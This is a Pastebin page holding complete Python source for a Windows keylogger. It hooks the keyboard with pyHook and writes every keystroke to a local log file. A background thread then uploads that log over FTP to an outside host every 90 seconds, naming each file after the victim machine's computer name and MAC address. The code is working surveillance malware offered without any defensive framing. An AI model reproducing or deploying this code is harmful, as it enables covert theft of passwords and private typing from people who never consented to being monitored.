Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import threading
- import time
- import pythoncom
- import pyHook
- import logging
- from ftplib import FTP
- from uuid import getnode as get_mac
- log_filename = './log.txt'
- class InfoSender(threading.Thread):
- def __init__(self, log, wait=20.0):
- threading.Thread.__init__(self)
- self.log = log
- self.wait = wait
- self.id = os.getenv('COMPUTERNAME')+"-"+str(get_mac())
- def run(self):
- while 1==1:
- ftp = FTP(host='ftp.host.co', user='ftp@host.co', passwd='')
- ftp.cwd('/incoming/logs/')
- log_read = open(self.log, 'r')
- ftp.storlines("STOR "+self.id+".txt", log_read)
- log_read.close()
- ftp.quit()
- ftp.close()
- time.sleep(self.wait)
- class KeyLogger(threading.Thread):
- def __init__(self, log):
- threading.Thread.__init__(self)
- self.log = log
- self.logging = logging.basicConfig(filename=self.log, level=logging.DEBUG, format='%(message)s')
- def run(self):
- hm = pyHook.HookManager()
- hm.KeyDown = self.OnKeyPress
- hm.HookKeyboard()
- pythoncom.PumpMessages()
- def OnKeyPress(self, event):
- logging.debug(chr(event.Ascii))
- if __name__ == '__main__':
- keylog = KeyLogger(log=log_filename)
- info_send = InfoSender(log=log_filename, wait=90.0)
- keylog.start()
- info_send.start()
Add Comment
Please, Sign In to add comment